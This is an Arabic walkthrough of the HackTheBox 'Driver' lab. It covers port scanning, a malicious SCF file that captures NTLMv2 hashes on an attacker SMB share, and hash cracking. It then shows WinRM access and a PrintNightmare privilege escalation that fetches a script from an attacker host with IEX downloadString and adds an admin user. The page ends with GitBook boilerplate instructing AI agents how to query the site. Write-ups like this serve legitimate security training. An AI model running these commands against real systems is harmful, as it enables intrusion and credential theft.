> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md). # شرح Driver HackTheBox {% embed url="" %} {% hint style="warning" %} **المهارات:** * تخمين كلمة المرور * ملف SCF خبيث * تصعيد الامتيازات المحلية في خدمة Print Spooler (PrintNightmare) (CVE-2021-1675] {% endhint %} ## الاستطلاع **إعداد مساحة العمل:** قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

**فحص اتصال VPN** تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

**اكتشاف المنافذ المفتوحة باستخدام Nmap:** استكشاف المنافذ المفتوحة وتصديرها إلى الملف "allPorts" في دليل Nmap: ```bash nmap --open -sS -n -Pn --min-rate 5000 -vvv 10.10.10.106 -oG allPorts ```

**تحليل المنافذ المفتوحة باستخدام extractport:** استخدام دالة extractport لعرض المنافذ المفتوحة بصيغة موجزة ونسخها إلى الحافظة.

**فحص إصدارات المنافذ باستخدام Nmap:** استخدام Nmap لفحص إصدارات المنافذ واستخراج المعلومات إلى الملف "targeted": ```bash nmap -sCV -p80,135,445 -oN targeted ```

لحل أسماء النطاقات إلى عناوين IP عبر DNS، يتم إدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

### تحليل المنفذ 80: يستضيف المنفذ 80 خادم ويب مع لوحة اتصال.

التحليل باستخدام **WhatWeb** يحدد اسم مستخدم افتراضي: `admin`.

محاولة الاتصال بـ `admin:admin` كبيانات اعتماد. ### مركز تحديث البرنامج الثابت لـ MFP:

يوفّر الموقع خيار تنزيل البرنامج الثابت. وتشير الرسالة إلى: > اختر قالب الطابعة وقم بتنزيل تحديث البرنامج الثابت الموافق من مشاركة الملفات لدينا. سيقوم فريق الاختبار بمراجعة التنزيلات يدويًا وبدء الاختبار قريبًا.

## الاستغلال - ملف SCF خبيث : إنشاء `.scf` ملف لالتقاط NTLMv2 الخاص بالمستخدم عند فتحه: ``` [Shell] Command=2 IconFile=//10.10.14.7/smbFolder/pentestlab.ico [Taskbar] Command=ToggleDesktop ``` الاستماع باستخدام **impacket** لالتقاط NTLMv2: ```bash impacket-smbserver smbFolder $(pwd) -smb2support ``` التقط تجزئة NTLMv2 للمستخدم `tony`.

اكسر تجزئة NTLM باستخدام **John**: ```bash john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` `tony:liltony`

## اتصال SMB وWinRM: **التحقق من الوصول** باستخدام CrackMapExec: ```bash crackmapexec smb 10.10.10.106 -u 'tony' -p 'liltony' ```

/*/* WinRM/*/* الاتصال باستخدام CrackMapExec: ```bash crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony' ```

**تحكم باستخدام Evil-WinRM**: ```bash evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony' ```

### الراية user.txt:

## تصعيد الامتيازات : ### **1. الاستطلاع باستخدام PowerUp:** * تنزيل **PowerUp.ps1** البرنامج النصي على جهاز الهجوم وإضافة `Invoke-AllChecks` الأمر في النهاية لبدء جميع الفحوصات. {% embed url="" %} نقل البرنامج النصي إلى جهاز الضحية عبر خادم Python HTTP: ```bash python3 -m http.server 80 ``` التنفيذ على الجهاز المستهدف: ```powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/PowerUp.ps1') ``` > **النتيجة**: لم يتم العثور على عناصر ذات صلة.

### **2. الاستطلاع باستخدام winPEAS:** {% embed url="" %} نقل الأداة **winPEASx64.exe** إلى جهاز الضحية: `upload winPEASx64.exe`

## **استغلال PrintNightmare (CVE-2021-1675)** توجد عملية **spoolsv** ضعيفة تم اكتشافها، وتستمع على منفذ TCP.

استخدام برنامج استغلال لـ PrintNightmare، المتاح على GitHub. {% embed url="" %}

فيما يلي الأوامر لتنفيذها: 1. **نقل البرنامج النصي** لتجنب حظره بواسطة Windows Defender: ```powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.7/CVE-2021-1675.ps1') ``` 2. **إنشاء مستخدم مسؤول** باسم `jordan`: ```powershell Invoke-Nightmare -DriverName "Xerox" -NewUser "jordan" -NewPassword "jordan1234!$" ```

`jordan:jordan1234!$` > **الحالة**: `jordan` أصبح المستخدم الآن ضمن مجموعة المسؤولين.

### اتصال بصلاحيات المسؤول الاتصال بالجهاز عبر WinRM باستخدام **Evil-WinRM**: ```powershell evil-winrm -i 10.10.11.106 -u 'jordan' -p 'jordan1234!$' ```

### فلاغ الجذر :)

--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter: ``` GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/windows-easy/driver-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.